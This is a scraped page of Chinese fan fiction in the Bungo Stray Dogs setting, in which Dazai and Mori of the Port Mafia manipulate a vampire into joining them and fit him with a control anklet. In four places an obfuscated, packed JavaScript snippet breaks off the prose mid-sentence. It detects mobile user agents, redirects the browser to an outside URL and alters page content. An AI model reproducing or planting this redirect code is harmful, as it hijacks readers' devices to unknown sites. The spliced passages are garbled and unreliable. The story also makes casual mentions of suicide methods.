太宰治脸上的漫不经心瞬间凝固,随即浮现出毫不掩饰的厌烦:“哈?又要我当保姆?森先生,这种麻烦事交给中也那家伙不是更好?他力气大,最适合压制这种‘怪物’了,或者芥川?” 他双手插进西装裤口袋,身体微微后倾,全身都散发着抗拒的气息,“我对照顾一个脾气古怪的、随时可能暴走的吸血鬼可没兴趣。很麻烦,超级麻烦!” 森鸥外对他的抱怨置若罔闻,只是向前走了一步,声音压得更低,带着一种不容置疑的掌控力和冰冷的诱惑:“太宰君, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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关于这个神秘物质的传闻在地下世界流传已久,据说能根据服用者内心最深层的渴望,编织出独一无二、完美契合其灵魂的死亡幻境,在无与伦比的极致体验中走向终结。 这对追求“清爽明朗且充满朝气地自杀”的太宰治而言,简直是无法抗拒的圣杯。 “正是。”森鸥外满意地看着太宰治眼中燃起的、几乎要吞噬一切的火焰,“它的效果未经完全证实,但所有接触过它的研究员都……为之疯狂,或者直接疯掉了,危险性毋庸置疑。” “这是目前已知存在的唯一一份成品。”他晃了晃瓶子,那深红液体仿佛在回应般微微荡漾,“作为你‘照看’并成功‘引导’菲那恩君直至他完全为港口黑手党所用的报酬……它,就会是你的了。” “哎呀呀,”太宰治拖长了语调,声音里充满了奇异的活力与危险,“‘最想要的死亡’……这报酬,真是让人完全无法拒绝呢。” 太宰治的视线从那瓶“潘多拉”上移开,缓缓转向手术台上昏迷的菲那恩。 “成交,首领。”他干脆利落地应下,声音里那份被点燃的兴致毫不掩饰,“不过……” 他话锋一转,指尖轻轻敲了敲手术台冰冷的金属边缘,发出清脆的叩响,目光重新投向森鸥外。 太宰治的嘴角勾起一个微妙的弧度,“我们这位尊贵的客人,醒来后……会心甘情愿地接受这份‘招揽’吗?至少,我们需要找到类似人间失格的、能有效限制菲那恩力量的东西。” 森鸥外将“潘多拉”收回白大褂内侧口袋,“听说过十几年前欧洲类似吸血鬼特征的‘异能灾害’吗,太宰君?” 太宰治眼神微动,显然对此也有所耳闻:“福地阁下平定的那场异能灾害吗……” 森鸥外点了点头,眼中闪过精明的光,“虽然对外宣称是‘异能灾害’被成功镇压,但以福地樱痴的能力和欧洲钟塔侍从那些老狐狸的作风……他们不会完全放任这种拥有超强恢复力、以血为食的‘生物威胁’逍遥法外。” “关于欧洲那边的‘抑制手段’,我会动用港口黑手党在欧洲的情报网,以及……一些特殊的‘渠道’,尽快去查证和获取,不惜代价。” 他看向菲那恩,眼神如同评估一件价值连城但需要小心保管的武器:“至于谈判……” “这正是我接下来要做的事情。”太宰治接口道,嘴角重新扬起那抹标志性的笑容,“在他醒来后,在他恢复力量之前,在他最虚弱也最需要思考自身处境的时候……我会去和他‘好好谈谈’。” “很好。”森鸥外满意地点头,转身向门口走去,“那么,欧洲方面的情报和‘保险’就交给我,而菲那恩君……就交给你了,太宰君。在他恢复的这48小时里,你有足够的时间去‘了解’他。” 门轻轻关上,房间里再次只剩下太宰治和昏迷的菲那恩。 太宰治走到手术台边,这次他没有触碰对方,只是静静地、居高临下地审视着,不知在想什么。 4. 观察 港口黑手党总部,医疗室旁的临时观察间。 灯光被刻意调暗,只有几台监测仪器发出幽微的绿光,映照着太宰治没什么表情的侧脸。 菲那恩依旧在隔壁房间的深度昏迷中沉浮,强大的自愈力正无声地修复着那具破碎的身体。 太宰治并没有像他抱怨的那样觉得“无聊透顶”,相反,他正以一种近乎可怕的专注,咀嚼着关于菲那恩·德·图拉尔的一切碎片。 港口mafia已经全力隐藏菲那恩的行踪,对外偷偷散布消息说菲那恩只是个普通异能者,已被某个组织的强大异能者击杀,尸骨无存。 而看见过菲那恩长相的港口mafia成员,威胁、恐吓、利诱,或者根据他们的意愿,放他们回归普通人的生活。 桌上摊开着几份报告:菲那恩身世调查报告、现场勘查记录、战斗分析以及从菲那恩残破衣物上提取的织物分析和水晶棺的初步鉴定报告。 除了身世调查完全无果之外,其他的都是非常有用的情报。 太宰治一手撑着脑袋,一手的指尖在这些报告上轻轻敲击,目光却一直落在菲那恩的身上。 “‘宠物’……图拉尔……”太宰治低声自语,鸢色的眼眸在昏暗光线下流转着冰冷的光泽。 他像拼凑一副残缺的拼图,将菲那恩对那个词的剧烈反应,战斗中偶尔流露出的、与力量不符的、近乎刻意的贵族式仪态,以及报告中提到的“德·图拉尔”这个姓氏联系起来。 那眼神,太宰治太熟悉了。 不是愤怒,不是高傲,而是……被戳中致命伤疤后的茫然与死寂。 “一个拥有古老姓氏和强大力量……但因某种特殊原因却在被视为异类?‘宠物’是那些‘人’对他的蔑称?”太宰治的嘴角勾起一丝没有温度的弧度,“难怪……像被踩了尾巴的猫,或者像是被戳穿了华丽袍子下爬满虱子的可怜虫。” 他拿起另一份报告,上面粗略记录了几种菲那恩展现过的“血族秘术”。 “种类倒是不少,”太宰治微微眯起眼,“但根据中也的描述,每一种似乎都……没有修习到极致?” 他指尖划过报告上关于秘术描述的段落。 倒像个……学了很多门手艺,却没一门真正精通到顶点的……半吊子天才? 这个发现让太宰治眼底的兴趣更浓了。 力量强大,内心藏着巨大的自卑和创伤,渴望被接纳却又本能地竖起尖刺……一个矛盾重重、破绽百出的“古董”。 他甚至能够精准地点出了菲那恩最核心的需求:一个安全的庇护所、稳定的食物来源以及一个能让他重新获得身份认同、融入这个陌生世界的“位置”。 驯服这样的存在,比驯服一头纯粹的野兽要有意思得多,也更具挑战性。 “叩叩。” 轻微的敲门声响起。 “进。”太宰治头也没抬。 一名穿着黑色西装、表情一丝不苟的下属恭敬地推门而入,双手捧着一个深色天鹅绒衬垫的盒子。 盒盖打开,里面静静地躺着那个造型简约、刻满繁复暗纹的银质脚环,在昏暗的灯光下,它散发着冰冷而内敛的光泽,像一件沉睡的凶器。 脚环下面还压着一张说明书和一个打火机大小的控制器。 “太宰大人,首领命我送来的‘保险装置’。”下属的声音压得很低。 太宰治终于将视线从报告上移开,落在那个银色脚环上。 他伸出手,指尖并未直接触碰金属,而是在上方虚虚地描摹着那些暗纹的走向。 森鸥外的效率一如既往地高,而且……足够冷酷。 “嗯,放下吧。”太宰治的声音听不出情绪。 下属将盒子轻轻放在桌角,躬身行礼后迅速退了出去,仿佛多待一秒都会被房间内无形的压力碾碎。 太宰治又盯着脚环看了几秒,拿起了那张英文说明书。 简单来说,脚环里面嵌入了一个非常精密的炼金术矩阵。 主要功能有两个,其一是一旦检测到主体食用人类血液,便会瞬间释放特殊的炼金能量,带来远想象的灼烧感和恶心感。 其二,它还刻有一个世界上最强的束缚异能,且由那个黑色控制器控制。 说明书的最后的一小行英文写着:该异能产物的穿戴与解除也由控制器控制,请妥善保管控制器。 太宰治看完后,淡定地将说明书泡进水杯里,捞出来后直接撕成碎屑扔进了垃圾桶。 估计森先生那里也有着一个同样的备用控制器…… 这个东西对吸血鬼来说可真致命,但对拥有人间失格的他来说,这些都不算限制…… 森先生一边为其他人的安全做考虑,一边坑了他一大把——他必须得管这个血族的饭…… 森先生就不怕这个血族食量大,把他吸干了吗…… 他瞥了一眼墙上的挂钟,时针已经指向了凌晨一点,胃部传来一阵熟悉的空虚感,高强度地动脑,果然容易饿。 他站起身,活动了一下有些僵硬的脖颈,将关于菲那恩的分析暂时封存进脑海深处。 该去补充点能量了。 港口黑手党的内部食堂,即使在深夜也提供基础的热食,通常是为值夜班或刚执行完任务归来的成员准备的。 以往这个时间,虽然人不多,但也会有低声交谈、碗筷碰撞的声音,带着一种疲惫却放松的氛围。 然而今晚,当太宰治慢悠悠地晃进食堂大门时,空气仿佛瞬间凝固了。 仅有的几桌正在默默进食的成员,动作整齐划一地僵住,交谈声戛然而止,连咀嚼的动作都停了下来。 所有人都下意识地低下头,或者将目光死死锁在自己面前的餐盘上,仿佛那里藏着什么绝世珍宝,整个空间只剩下食物保温柜低沉的嗡鸣,以及……一片令人窒息的死寂。 负责打餐的厨师原本正在擦拭台面,看到太宰治的身影,手一抖,抹布差点掉进汤锅里。他努力挤出一点笑容,声音干涩:“太、太宰大人,您需要点什么?” 太宰治像是完全没察觉到这诡异的气氛,或者说,他早已习以为常。 他踱步到热食区,目光懒洋洋地扫过:关东煮、拉面、咖喱饭、还有一些简单的饭团。 “唔……”他拖长了音调,似乎在认真思考。 他拖长的尾音像无形的鞭子,抽得食堂里本就紧绷的空气更加凝滞。 一个正端起味增汤的成员手一抖,滚烫的汤汁溅出几滴落在手背上,他却硬生生忍住没发出一点声音,只是脸瞬间憋得通红。 太宰治的目光最终落在冷藏柜里几个用海苔包裹着的三角饭团上,其中一个上面点缀着小小的蟹肉图案。 “就那个吧,蟹肉饭团。”他随手指了指,语气轻松得像在点下午茶。 “是、是!马上给您拿!”厨师如蒙大赦,手忙脚乱地打开冷藏柜,小心翼翼地将那个蟹肉饭团取出,仿佛那不是饭团而是一枚炸弹。他用最干净的纸袋包好,双手捧着递过来,动作恭敬得近乎卑微。 太宰治接过饭团,指尖甚至没碰到厨师的手。 他随意地晃了晃手中的“晚餐”,脸上依旧挂着那副让人捉摸不透的浅笑。 “谢啦~” 他转身,慢悠悠地朝门口走去。 随着他的脚步移动,食堂里低垂的头颅角度也微妙地调整着,始终确保视线不会与他对上。 直到他的身影彻底消失在门口,那扇厚重的门合拢,食堂里凝固的空气才仿佛“嗡”的一声重新开始流动。 压抑的呼气声、重新响起的、刻意压低的交谈声、还有那个被烫到的人终于敢嘶嘶抽气的声音……混杂在一起,形成一种劫后余生般的嘈杂。 “真没意思。”他低声自语,声音轻得像叹息,又带着一丝不易察觉的厌倦。 这种避之唯恐不及的恐惧,他早已习惯,甚至有些腻烦。 比起这种死水般的寂静和敬畏,医疗室里那个昏迷的古老生物,似乎更能勾起他一丝……名为“有趣”的情绪。 太宰治离开这片沉闷得令人窒息的真空—— “叮——” 自动感应门在他面前无声地、平滑地向两侧滑开。 那人刚准备进门,脚步顿在门口。一头显眼的暗红色头发有些凌乱地翘着几缕,穿着那件常穿的、沾了些许灰尘的米色外套,一手拎着一个印着便利店Logo的半透明塑料袋,里面能看到杯面和饭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337541|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 团的轮廓。 蓝灰色的眼眸平静无波,带着一丝刚结束工作的疲惫感,正映着食堂内这如同被施了定身咒般的诡异景象。 ——是织田作之助。 太宰治推门的动作瞬间停住了。 “啊呀!”太宰治的声音瞬间拔高了好几度,充满了毫不掩饰的惊喜,与刚才在食堂里制造低气压的模样判若两人。 他几步就轻快地蹦到了门口,挡在了织田作面前。 食堂里的空气仿佛又沉重了几分,几个干部直属成员已经悄无声息地挪到了最远的角落。 “织田作!”太宰治那份雀跃清晰可闻,“这么晚才回来?又忘记吃晚饭了?” 他凑近时,敏锐的嗅觉捕捉到对方外套上残留的、尚未散尽的硝烟味和夜晚的凉气,目光自然落在他提着的便利店袋子上。 织田作之助点了点头,蓝灰色的眼睛平静地扫过一片死寂、噤若寒蝉的食堂内部,目光最后落回太宰治脸上,语气是一贯的平淡无波:“嗯。刚处理完码头仓库区的一点小麻烦。” 他顿了顿,视线在太宰治手上提着的蟹肉饭团上停留了一瞬,“你也饿了?对了,食堂的关东煮卖完了吗?” “是啊,真不走运,”太宰治取下嘴里的饭团,拿在手里晃了晃,抱怨的语气里却带着轻快的笑意,“只剩下这些冷冰冰、硬邦邦的饭团了,但是还有咖喱饭哦,织田作要在这里解决吗?” 他明知故问地侧身,用眼神示意了一下身后依旧凝固如雕像的众人。 织田作之助顺着他的目光,平静地环视了一圈那些恨不得把头埋进桌子底下的成员。 他摇了摇头,提起手里的塑料袋示意:“不,我打算再打包点咖喱饭,带回去吃。” 他像是想起了什么,又补充了一句,“安吾下午提过,新开的那家咖喱屋,据说味道很正,下次可以一起去试试。” “哦?安吾推荐的?”太宰治的眼睛瞬间亮了一下,随即又故意垮下脸,“不过那个工作狂最近肯定又埋在文件山里了吧?想把他挖出来可不容易。” “嗯。”织田作之助简单地应了一声,算是认同。 他的目光不经意间掠过太宰治略显疲惫的眉宇,以及眼下比平时更深的阴影。 他沉默了几秒,才用陈述事实般的语气问道:“你看起来很忙?有‘新工作’?” 太宰治脸上的笑容微妙地加深了,鸢色的眼眸深处,那属于织田作之助熟悉的、混合着深沉探究与扭曲兴味的光芒倏然亮起,如同发现新奇玩具的孩子,却又潜藏着深渊般的危险。 “嗯哼~”他含糊地应了一声,声音带着一丝奇异的活力,“一个……非常特别的‘古董’,需要花点心思好好‘保养’一下。” 他没有具体说明,但织田作明白,这“保养”绝非字面意义上的维护。 “听起来很麻烦。”织田作平静地陈述自己的判断。 “超级——麻烦!”太宰治立刻拖长了音调,夸张地叹了口气,身体却微微前倾,像分享秘密一般,“不过,也很有趣哦,织田作!非常……非常的有趣。” 他眼中的那抹幽深光芒更盛了,如同发现了新大陆。 织田作之助看着他眼中闪烁的、近乎孩子气的兴奋下潜藏的、令人不安的兴趣,只是点了点头:“是吗,那别太晚,注意休息。” 他没有追问细节的习惯,只是给出了朋友间最朴素的关心。 “知道啦知道啦~”太宰治挥了挥手里的蟹肉饭团,笑容灿烂得晃眼,“你快去买咖喱饭吧,小心一会儿咖喱饭也没有了。” 织田作之助几不可察地微微叹了口气:“嗯。走了。” 他拎着便利店的塑料袋,侧身绕过太宰治,走进食堂。 太宰治也不再停留,眼中的厌倦似乎被刚才短暂的交谈冲淡了不少,转身独自走入空旷冰冷的走廊。 他从纸袋里掏出一个饭团,一边慢悠悠地朝着弥漫着消毒水气味的医疗室方向踱步回去,一边撕开了包装纸。 他低头,咬了一口,冰冷的米饭和微腥的蟹肉罐头味道在口中弥漫开。 “唔…味道真一般。” 他皱了皱眉,嫌弃地嘟囔了一句,却还是慢吞吞地咀嚼着。 5. “谈判”? 意识再次回归时,首先感知到的是彻骨的冰冷,并非环境的温度——这房间甚至算得上温暖——而是失血过多后身体内部难以驱散的寒意,以及虚弱感。 菲那恩睫毛颤动了几下,才费力地睁开沉重的眼帘。映入视野的并非拍卖场的废墟或预想中的囚笼铁壁,而是一片陌生的、散发着淡淡木质清香的浅色天花板。 记忆的碎片汹涌回潮:失控的渴望、刺耳的“宠物”二字、锥心的旧伤、毁灭性的重击、嵌入墙体的剧痛与黑暗……他有些崩溃地再次闭上眼睛,不过好在血族的自愈力已经让他完全痊愈了。 他太大意了! 那个人类的血比他想象中的更有吸引力啊,还被揍成重伤……太丢人了…… 然而,身体的异样感强行拉回了他的注意力。 菲那恩猛地低头,瞳孔骤然收缩——他身上那件沾满血污与过往的白袍不见了! 取而代之的是一件……质地柔软、花纹素雅的同色浴衣?! 谁?! 一股难以言喻的羞恼和某种领地被侵犯的恼意瞬间冲上头顶。 是谁在他昏迷时……? 这个念头刚升起,立刻被另一个更突兀的触感取代。 他的左脚脚踝处,传来一丝冰凉而坚硬的触感,以及一种细微的、几乎无法察觉的能量流动。 菲那恩撑起还有些无力的上半身,掀开盖在腿上的薄被,他的目光锐利地锁定在左脚踝上。 那里,环着一只造型精美的银色脚环。 它并非粗笨的镣铐,反而像一件精巧的饰品,流线型的银环上,蚀刻着繁复而陌生的几何符文,在昏暗的光线下流转着极淡的、几乎看不见的微光。 它贴合着皮肤,冰凉光滑,但异常牢固。 菲那恩伸出修长的手指,试图去触摸那些符文,或者找到接口。 但却没有接口,仿佛浑然一体。 他用指尖扣住脚环边缘,试着用力向外掰开。 纹丝不动。 那看似纤细的银环,蕴含着难以想象的坚固和某种奇特的能量场,但他却没有感受到什么实际的影响。 菲那恩赤红的眼眸沉了沉,指尖无意识地摩挲着冰凉的银环表面,心中疑虑丛生。 “咔哒。” 门锁轻响,被推开了。 率先涌入的是那令菲那恩刻骨铭心的、无比诱人的香甜气息,下一秒,太宰治的身影便出现在门口。 他换下了那身黑色西装和黑大衣,穿着简单的白衬衫和长裤,手里端着一个冒着热气的杯子,姿态随意甚至有点……温和? 脸上也不再是拍卖场那种轻佻危险的探究,而是带着一种恰到好处的、仿佛真心实意的关切微笑。 “啊,菲那恩君,你醒了?感觉好些了吗?”他的声音温和,带着一种令人放松的语调,仿佛只是来探望一位重要的友人。 菲那恩眼睛一亮,声音带着许久不说话的沙哑,喉结动了动,“是你……” 太宰治走到床边,将杯子放在床头柜上,里面是清水。 “正式自我介绍一下,我是太宰治,你可以叫我太宰哦。抱歉之前拍卖场的情况有点混乱,气氛不太好,没能好好认识你。”他微微颔首,姿态无可挑剔。 “我是菲那恩·德·图拉尔。”菲那恩一脸懵懂地眨了眨眼睛,看着太宰治,没有回应那杯水。 他说不清楚是什么感觉,但好像……太宰治像换了一个人似的? “我知道你有很多疑问,菲那恩君。”太宰治拉过椅子坐下,双手交叠放在膝上,表情变得认真而坦诚。 “首先,我必须为之前那些不恰当的话,郑重地向你道歉。”他语气真诚,带着明显的懊恼,“‘宠物’什么的……是我太轻率了,言语失当,完全没有顾及你的感受,当时……只是想确认一些关于你状态的事情,方法实在欠妥。非常抱歉,菲那恩君。” 他再次微微低头,歉意显得十分恳切。 菲那恩闻言,不由自主地睁大了眼睛。 紧绷的心弦仿佛被这突如其来的、真诚的歉意轻轻拨动了一下。 那双清澈的鸢眸里,他找不到丝毫伪装的痕迹。 对方……似乎真的在为那冒犯感到懊悔?不是虚伪的逢迎,不是嘲讽,不是恐惧,不是忌惮……这种歉意让他感到一丝茫然无措。 “不……”他眼中掠过一丝慌乱,下意识地摆手,“没…没关系……” 心底那点因被陌生人类冒犯而生的怨怼,竟奇异地消弭了几分。 “那真是太好了。”太宰治的笑容加深了些许,仿佛卸下了一个负担。 事实上就是如此,太宰治很清楚怎么做才能被喜欢,也能轻松做到这个事。 “这里是港口黑手党的医疗室,你伤得很重,但我们拥有横滨最好的医疗资源,你的自愈能力也非常强。”太宰治继续说道,语气里带着安抚,“中也……就是那个暴躁的小矮子,他出手是重了些,但当时情况紧急,他必须确保在场所有人的安全。” “这一点,希望你能理解。” 他将中原中也的责任轻描淡写地带过,重点强调“保护他人”和“情势所迫”,听起来合情合理,无可辩驳。 菲那恩本就不善深思那些弯弯绕绕,闻言只是略作思索,便接受了这个解释,“这样啊……” “至于你的衣服……”太宰治闻言,笑容不变,眼中露出一丝无奈又略带歉意的笑容,“送来时破损严重,沾满了血污和灰尘,实在无法再穿了。” “医疗队的人笨手笨脚,我就自作主张帮你换了这件干净的浴衣,主要是为了避免伤口感染,也让你能舒服些休息。”他解释得流畅自然,理由充分合理,仿佛完全是出于关切和实际需要,“希望这没有让你感到不适或冒犯。” 太宰治诚恳的道歉、合理的解释,以及此刻展现出的全然无害的善意,像温暖的潮水,轻易冲垮了菲那恩最初的戒备与疑虑。 衣服换了……原来是因为这个。 “菲那恩君,”太宰治的声音放得更轻缓,带着一种设身处地的真诚,“我们无意伤害你,相反,我们看到了你非凡的价值,强大的自愈力,独特的‘血族秘术’……” “但是,”他话锋一转,眼神带着一种仿佛真心为菲那恩忧虑的神色,“这个世界,尤其是横滨的夜晚,充满了危险和未知,像你这样……独特的存在,独自一人,没有根基,没有身份,甚至连维持生存的基本需求都难以保障……” “……很容易成为各方势力觊觎的目标,或者陷入比拍卖场更棘手的麻烦,那件事,可能只是一个小小的预兆。” 菲那恩的指尖在毯子下微微蜷缩。 食物……这个人类精准地戳中了他最深的忧虑,饥饿感暂时被压制,但是身体虚弱也绝对少不了需要补充血液。 太宰……似乎真的在为我着想?这个念头让菲那恩感到一丝陌生的暖意。 太宰治敏锐地捕捉到那丝微弱的动摇和悄然升起的信任感,继续用他那极具说服力的声音说道:“港口mafia,能为你提供一个安全的避风港,我们能彻底抹去拍卖场事件的所有痕迹,为你创造一个全新的、体面的身份——。” “在这里,没人知道你的过去,没人会用异样的眼光看待你。” 他身体微微前倾,声音充满诱惑力,也带着真挚的邀请:“我们会提供你需要的一切:安全的住所,稳定的食物来源,甚至……一个融入这个世界、找到归属感的机会。” “菲那恩君,你难道你不想在一个新的地方,找到一个可以称之为‘家’的地方吗?”太宰治的声音放轻了些许,带着浓浓的蛊惑意味,“我们,港口黑手党,可以成为你新的起点,新的依靠哦。” “归属”与“家”——这两个词如同带着魔力的钥匙,瞬间打开了菲那恩尘封的心门,精准地刺中了他灵魂深处最柔软、最渴望的角落。 太宰治的话语编织成一张温暖而华丽的网,层层包裹而来。 他描绘的景象,正是菲那恩在漫长孤寂岁月中求而不得的幻梦。 他习惯了独行,但“家”这个字眼,如同伊甸园里最诱人的禁果,让菲那恩早已麻木的心湖泛起了涟漪。 一股混杂着渴望、迷茫与微弱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337542|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暖意的复杂情绪,在他心底悄然翻涌。 他看着眼前这个笑容温和、言辞恳切、似乎真心关怀他的太宰治,一个更隐秘、更强烈的念头在心底扎根:加入他们。 加入他们……似乎真的很不错…… 而且,这个太宰治……他和其他人不一样。 他一定要得到太宰治,将这个特别的人类,变成只属于他的血仆。 那将是何等美妙的生活? 想到这里,一种混合着隐秘的期待和愉悦感的暖流涌过心头。 简单的利弊权衡在脑中飞速完成,表面上,这交易对他百利而无一害。 “……我接受。”菲那恩终于开口,声音依旧有些沙哑,带着一丝……不易察觉的、对未来的期待,“我接受港口黑手党的邀请。” 他特意用了“邀请”而非“招揽”,试图维持一点体面。 太宰治脸上的笑容瞬间扩大,仿佛真的为这个结果感到无比欣慰和高兴。 “菲那恩君,这绝对是最明智的选择,欢迎正式加入港口黑手党这个……嗯,或许不那么温暖,但绝对可靠的大家庭!”他轻轻拍了两下手,语气轻快真诚。 紧接着,他像是才想起来一件小事,目光随意地滑向菲那恩盖着毯子的脚踝,用一种轻松闲聊的口吻说道:“啊,对了。按照我们这里的传统,新成员加入,尤其是像你这样重要的成员,直属上司通常会准备一份小小的‘入职礼物’,以示欢迎和重视。” 菲那恩的心微微一动。 礼物? 太宰治站起身,走到床边,动作自然甚至带着点分享的意味,轻轻掀开了毯子的一角,露出了那个精致的银脚环。 他修长的手指点了点那冰凉的金属。 “喏,就是这个。”太宰治的语气轻松,带着点“看我选的不错吧”的自得,“漂亮吧?我特意选的款式,感觉挺适合你的气质,首领也同意了,算是我们两人一起送你的欢迎礼。” 菲那恩看着脚踝上那在灯光下流淌着漂亮光泽的银环。 它确实很漂亮,又很精致。 原来……是礼物?是太宰君和首领的心意?是为了欢迎他加入? “我……从未想到这一层……”他低声说,指尖下意识地轻轻抚过那光滑冰凉的金属表面。 那点关于“为何取不下来”的疑虑,在“欢迎”与“心意”的冲击下,显得如此微不足道,只觉得这是对方表达善意的一种方式。 他甚至还用指尖轻轻摩挲了一下那光滑冰凉的表面。 看着菲那恩那毫不掩饰的、带着点新奇甚至近乎天真的神情,太宰治鸢色的眼眸深处,一丝极难察觉的、近乎荒谬的光芒飞快掠过。 居然……真的信了。 原本只是试试能不能哄骗他心甘情愿加入港口mafia…… 这个活了几百年的生物,在人心诡诈方面,简直单纯得像一张白纸。 这种“单纯”,在横滨的泥沼里,简直比钻石还稀有……也更容易被染上想要的色彩。 太宰治的眼神几不可察地暗沉了一瞬,正专注于脚环的菲那恩并未发现。 菲那恩感受着脚踝上冰凉的金属触感,心中却在想象着未来的血仆大计。 一个漂亮的脚环而已…… 他抬眼看向笑容温和的太宰治,神色懵懂,但那份悄然升起的好感混合着强烈的占有欲,让他心底的念头更加坚定。 ——必要的时候……把妨碍他和太宰的家伙都清理掉就好了。 唔……理想状态下,若恢复全盛力量,且太宰不横加阻拦的话……让这座城市归于尘土,也并非做不到。 他自己都没意识到,他已经在不知不觉中将太宰和其他人类分开看待了。 ………… 港口Mafia医疗中心。 从拍卖场收集的菲那恩的血液,在试管里呈现诡异的珍珠光泽,正与太宰治的血在培养皿中互相吞噬。 "有趣。“森鸥外一边写着记录一边自言自语。 “血细胞活性是常人的三十倍,却对太宰君的血……产生戒断反应呢。” 6. 天大的麻烦 “那么,菲那恩君,既然你已经是我们重要的新成员了,有些流程还是要走一下的——首领想见见你,你也需要认识一下首领。” 走出医疗室,菲那恩像初入人类社会的幼兽,带着纯粹的好奇打量着四周。 港口mafia总部的内部环境与他想象中阴暗潮湿的巢穴完全不同,宽敞明亮,暖色调的墙壁,厚实的地毯,柔和的灯光,甚至还有艺术品点缀? 空气中除了消毒水和高级木料的味道,确实还有一丝硝烟和血腥的残留,但这在菲那恩看来,不过是这个“大家庭”强大实力的证明。 他越发觉得,加入这里是个正确的选择。 太宰果然没有骗他! 他们乘坐一部内部专用的需要虹膜识别的电梯,直达顶层。 电梯门无声滑开,眼前是一条更加肃穆、守卫更加森严的走廊。 尽头是一扇厚重的雕刻着繁复花纹的深色木门。 门口守卫的黑西装成员看到太宰治,立刻恭敬地低头行礼:“太宰大人。” 他们的目光在菲那恩身上短暂停留,带着审视,但训练有素地没有表露过多情绪。 太宰治随意地点点头,推开了那扇沉重的门。 门内是一个极其宽敞、视野开阔的办公室,巨大的落地窗外是横滨港壮丽的夜景,室内陈设奢华而内敛,巨大的红木办公桌后,坐着一位穿着合体黑色西装、带着红围巾的男人。 他看起来约莫三四十岁,黑色的微卷短发,面容俊朗,嘴角噙着一抹温和却深不见底的微笑,手里正把玩着一把寒光闪闪的手术刀。 正是港口黑手党的首领——森鸥外。 办公桌旁的地毯上,一个穿着精致红色洋装、抱着巨大兔子玩偶的金发小女孩——爱丽丝,正专注地用蜡笔在纸上涂鸦。听到门响,她抬起头,湛蓝如宝石的大眼睛好奇地、毫不掩饰地打量着走进来的菲那恩。 “首领,人带来了。”太宰治的语气恢复了工作状态应有的平静,带着一丝不易察觉的疏离。 “哦呀,这位就是我们期待已久的新成员,菲那恩·德·图拉尔先生吧?”森鸥外放下手术刀,站起身,绕过办公桌,笑容可掬地伸出手,“欢迎来到港口黑手党。初次见面,我是森鸥外,这里的首领。” 菲那恩看着伸到面前的手。 人类的礼节…… 他学着对方的样子,伸出自己略显苍白的手,与对方短暂交握,“初次见面,森首领。” 他赤红的眼眸快速扫过办公室,在爱丽丝身上停留了一瞬,对这个小女孩的存在感到一丝意外。 森鸥外收回手,笑容不变,目光如同精准的探针,不着痕迹地扫过菲那恩全身,最后落在他浴衣下的左脚踝处。 他满意地微微颔首。 “菲那恩君的情况,太宰君已经向我详细汇报过了。”森鸥外走回办公桌后坐下,双手交叉置于桌面,姿态放松却充满上位者的气势,“港口黑手党能得到你的加入,是我们的荣幸。” “作为首领,我自然要为新成员提供最好的安置环境,尤其是像你这样……需要特别关照的存在。”森鸥外话锋一转,语气变得更加体贴,仿佛在真心实意为菲那恩考虑,“考虑到菲那恩君对横滨、对我们组织的运作都尚不熟悉,而且……” 他意味深长地停顿了一下,目光瞥向太宰,“你与太宰君似乎已经建立了初步的……‘信任’?这很好。” 太宰治站在一旁,闻言依然维持着那副懒洋洋的表情,鸢色的眼底却掠过一丝警惕和不易察觉的烦躁——森先生又想搞什么名堂? “为了让你更快地融入,也为了保障你的生活便利,”森鸥外微笑着,“我决定,就由太宰君担任你的‘引导者’和……嗯,‘生活顾问’。” 菲那恩对这个头衔有些茫然。 太宰治则感觉不妙的气息浓得化不开。 森鸥外接下来的话,如同投下了一颗深水炸弹,瞬间引爆了太宰治的内心。 “因此,菲那恩君暂时就与太宰君同住吧。”森鸥外的语气轻松得仿佛在安排一件微不足道的小事,完全无视了太宰治眼中骤然凝聚的风暴,“我们名下在港未来区有一套设施完善、安保等级极高的公寓,三室两厅,视野绝佳,太宰君就住在那里。” 他拉开抽屉,取出一把崭新的银色钥匙,“啪嗒”一声轻响,随意丢在光滑的红木桌面上,推向菲那恩的方向。 同居?!强制性的?! 太宰治脸上的懒散瞬间冻结、碎裂,鸢色的眼眸猛地睁大,瞳孔深处是难以置信的惊愕,随即被汹涌的、毫不掩饰的抗拒取代。 麻烦!天大的麻烦! 一个没有人类常识的非人生物要入侵他的私人空间?! 这简直是灾难的开端!他几乎能预见到被麻烦缠身的糟糕夜晚! “首领!”太宰治的声音第一次失去了惯常的轻佻,变得尖锐而充满抗议,“这个决定是过于草率了吧?!我那里简直是个灾难现场,堆满了绷带、蟹壳、空酒瓶,还有我精心收集的《完全自杀手册》初版,根本不适合接待贵客吧,而且——” 他语速飞快,试图用更“合理”的理由打消森鸥外的念头,“我的作息日夜颠倒,随时可能尝试新的自杀方式,比如在浴缸里通高压电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 